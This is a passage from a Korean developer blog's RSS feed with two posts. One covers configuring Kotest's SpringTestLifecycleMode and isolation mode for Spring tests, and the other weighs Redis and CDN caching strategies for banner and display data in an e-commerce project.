&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 설정을 해도 의도한대로 테스트가 수행되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원인을 살펴보니 위 설정이 SpringTestLifecycleMode.Test를 디폴트 값으로 사용하고 있었기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분에 대해 먼저 정리하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SpringTestLifecycleMode는 먼저 2가지가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SpringTestLifecycleMode.Root: 루트 노드에서 테스트 메서드 콜백을 실행하도록 설정한다.&lt;/li&gt;
&lt;li&gt;SpringTestLifecycleMode.Test: 리프 노드에서 테스트 메서드 콜백을 실행하도록 설정한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SpringExtension을 뜯어보면 아래 조건을 맞추면 TestExecutionListener들이 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;113&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GQlak/btsMRYNTVU0/B0MZ0drWCs0cXAR5DtWYck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GQlak/btsMRYNTVU0/B0MZ0drWCs0cXAR5DtWYck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GQlak/btsMRYNTVU0/B0MZ0drWCs0cXAR5DtWYck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGQlak%2FbtsMRYNTVU0%2FB0MZ0drWCs0cXAR5DtWYck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;113&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;113&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 보이는 TestType에 대해 정리하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Container, Test, Dynamic 총 3가지가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트가 부모 노드(parent node)로 다른 노드를 포함할 수 있다면, 이를 'Container' 유형이라고 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;describe나 context와 같은 블록이 해당할 수 있으며, 이 블록 안에서 여러 개의 it 테스트를 정의할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 테스트가 단말 노드(leaf node)이고 다른 테스트를 포함할 수 없다면, 이를 'Test' 유형이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;it, then과 같은 구문이 해당된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'Dynamic'은 동적 테스트는 컨테이너일 수도 있고, 단말 테스트일 수도 있는 유형으로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;속성 테스트나 데이터 테스트와 같은 기능을 통해 동적으로 테스트가 추가되는 경우 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 테스트 코드 구조는 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1742482578346&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class XxTest: BehaviorSpec({
	given(&quot;값 세팅&quot;) {
		`when`(&quot;로직 수행&quot;) {
			then(&quot;결과 검증&quot;) {
			}
		}
	}
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 결국 현재 TestType.Test에 걸리므로 then 이전에 리스너가 동작을 해서 발생하는 문제인 것이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 디버깅을 해보니 TestExecutionListener.beforeTestMethod()가 then 절 직전에 동작하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자가 의도한 테스트 케이스 순서는 IsolationMode.InstancePerTest와 맞아 이를 선택했으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(then 절 갯수만큼, given과 when절이 매번 재수행)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TestExecutionListener가 given 이전에 동작하는 것을 원해 SpringTestLifecycleMode.Root를 설정으로 주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kotest를 기반으로 작성한 스프링 테스트가 잘 동작한다..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 공식 문서 최고.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상으로 포스팅을 마칩니다. 감사합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고 자료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://kotest.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://kotest.io/&lt;/a&gt;&lt;/p&gt;</description>
      <category>개발</category>
      <category>isolationmode</category>
      <category>jvm</category>
      <category>kotest</category>
      <category>Kotlin</category>
      <category>spring</category>
      <category>springtestlifecyclemode</category>
      <category>test</category>
      <category>test framework</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/361</guid>
      <comments>https://devdebin.tistory.com/361#entry361comment</comments>
      <pubDate>Fri, 21 Mar 2025 00:12:00 +0900</pubDate>
    </item>
    <item>
      <title>전시 도메인 캐싱에 대한 잡다한 생각들</title>
      <link>https://devdebin.tistory.com/360</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 포스팅에서는 화면 레이아웃, 팝업, 배너, 카테고리와 같은 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;전시 도메인&lt;/b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;,&lt;/span&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;전시 영역&lt;/b&gt;&lt;/span&gt;에 대한 &lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;캐싱&lt;/span&gt;&lt;/b&gt;을 적용하면서 본인이 생각한 중요한 포인트 및 자잘한 생각들을 정리해보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트(이커머스)를 코프링으로 진행했으므로 아마 스프링과 JVM 관점에서 설명하는 내용이 존재할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인프라는 AWS이며, 데이터베이스로는 SQL(Oracle)과 Redis를 사용 중이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;캐싱 적용 이유 및 놓친 부분&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐싱 적용은 6개월 또는 분기마다 트래픽이 높아지는 이벤트가 있는데 이에 도움이 되고자 진행한 작업이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 이커머스에서 유저가 몰릴 때 부하가 제일 많이 생기는 곳은 상품 도메인이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;그래도 팀에서 전시 도메인 특징 상 자주 수정이 되지 않고 조회는 많으므로 캐싱 적용이 알맞고 도움이 될 것이라고 판단했다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 얘기지만.. 수정이 드물고 조회는 많은 전시 도메인은 MongoDB와 같은 NoSQL이 잘 어울린다고 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 현재 프로젝트는 경제적(?)인 관점으로 보았을 때 SQL(Oracle)을 NoSQL(MongoDB)로 마이그레이션하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 기술을 프로젝트에 도입해 개선하는 건 마이너스다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼.. 잠시 얘기가 샜지만 프로젝트에서는 Redis를 사용한 캐싱을 도입하기로 결정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 애플리케이션(Tomcat) 로컬 캐시 적용에 대해 생각해봤는데.. &lt;br /&gt;결국 전시 도메인 데이터를 수정하면 다중 서버 로컬 캐시에 반영하기 힘드므로 로컬 캐시는 적절하지 않은 것 같다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링에서는 캐시를 잘 추상화해 놓았으므로 @Cacheable과 @CacheEvict를 사용해서 열심히 캐시를 적용하고 무효화도 구현했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐시 전략 또한 Look Aside 패턴을 활용해 Redis에 없으면 Oracle에서 조회하고 값을 Redis에 담았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;열심히 캐시를 적용하면서 중간에 문제를 발견했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링에서 추상화해놓은 캐시 기능(스프링 aop 기반)들만 사용하면 TTL을 설정할 수는 있지만 &lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;캐시 만료 기간을 지정할 수는 없다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;이는 직접 RedisTemplate 같은 코드로 만료 기간 (expired date)을 지정해줘야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;예를 들어 캐시 적용 유지 시간이 10분이라고 가정해보자. A&lt;/span&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt; 배너는 12시부터 조회가 되면 안된다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 캐시가 11시 59분에 적용되면 12시 09분까지 A 배너는 조회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성해 놓은 코드는 전부 수정해야 한다..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;가장 깔끔한 해결책은 무엇일까&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결 방법으로 온갖 상상의 나래를 펼쳐보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성, 수정, 삭제 관련 API는 @CacheEvict를 적용하면 될 것 같은데 조회 부분이 고민이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;첫 번째 방법: 복잡한 로직을 더한 캐시 적용&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터가 캐시에 없고 DB에서 조회되면, 아래 조건이 참이면 캐싱을 하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;현재 시간 + 캐시 시간 &amp;lt;= 만료 날짜&amp;nbsp;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기각이다. 복잡해질 뿐만 아니라 캐싱이 되지 않는 텀이 길게 존재할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;두 번째 방법:&amp;nbsp; 배치와 비즈니스 지식(?) 활용&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 기존 방식대로 @Cacheable을 사용해 TTL을 전부 건다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 전시 담당자들과 하나 약속을 정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &quot;배너 마감은 1시 10분, 3시 20분, 3시 30분과 같이 10분 단위로 진행되어야 해요!!&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 10분마다 캐시를 날리는 배치를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 방식은 캐싱 무효화 지점을 파악하기 힘들 때 유용할 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 비즈니스 지식이 추가되고, 수행하지 않아도 배치가 일단 돌아야한다는 단점이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 나중에 요건에 따라서 배치 잡이 늘어날수도......&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;세 번째 방법: 캐싱 코드를 직접 구현&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 직접 캐시 조회 코드와 캐시 저장 코드를 구현한 코드다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1738684293233&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;fun findBanner(): BannerListResponse {

    //레디스에 존재하는지
    val cacheResponse = bannerCacheStore.findResponse()
    
    //레디스에 존재하면 리턴
    if(cacheResponse != null) {
        return cacheResponse
    }
	
    //화면에 필요한 배너를 모두 조회
    val banners = BannerRepository.findAll() 
    
    //response에는 만료시간 필드가 존재
    val response = BannerListResponse.of(banners) 
    
    //이를 캐시에 직접 저장, save 로직에는 만료 시간이 되면 사라지게 하는 코드가 담김
    bannerCacheStore.save(response)

    return response
}

//참고로 redisTempalte에서 만료 시간을 지정하는 코드는 다음과 같다.
//redisTemplate.opsForValue().set(key, value, Duration.ofSeconds(timeoutInSeconds));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 이야기지만.. 클래스 이름을 BannerCacheStore라고 짓기 까지 꽤 많은 고민을 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 BannerCacheRepository로 클래스 이름을 지었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 Repository 패턴은 도메인 모델을 영속화시키기 위해 나온 패턴인데, BannerListResponse는 도메인 모델이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 Repository의 의미가 혼동될 수 있어서 BannerCacheStore라고 지었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방법은 ..? 무난해보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;네 번째 방법:&amp;nbsp; CDN 적용&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ALB 응답 JSON에도 CDN을 적용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 프로젝트에서는 드물지만 cloud front를 사용하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;aws sdk를 사용하면 cloud front 무효화도 손쉽게 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 개인화되지 않은 영역이라면 CDN은 훌륭한 성능 개선 방법일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 것은 결국 비용, 돈이다!!!&lt;br /&gt;&lt;br /&gt;CloudFront를 적극적으로 사용하면 API 요청은 줄겠지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 효과로 인해 ec2(누군가에게는 ecs, k8s) 스펙을 내리거나 여기서 돈을 아낄 수 있을까??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 질문은.. 역시 계산기를 두드려봐야 알 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로 응답 JSON을 CDN을 사용하며 캐싱을 진행하면 다른 유저의 응답과 공유되지 않게 각별히 신경을 써야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 3번과 4번 방법이 제일 좋아보이지만 아직 정해진 것은 없다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 컴퓨터 공학에서 제일 어려운 것은 캐시 무효화와 변수명 짓기다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상으로 포스팅을 마칩니다. 감사합니다.&lt;/p&gt;</description>
      <category>개발</category>
      <category>@Cacheable</category>
      <category>cacheing</category>
      <category>CDN</category>
      <category>cloud front</category>
      <category>redis</category>
      <category>Spring Data Redis</category>
      <category>전시</category>
      <category>전시 도메인</category>
      <category>캐싱</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/360</guid>
      <comments>https://devdebin.tistory.com/360#entry360comment</comments>
      <pubDate>Wed, 5 Feb 2025 01:28:58 +0900</pubDate>
    </item>
  </channel>
</rss>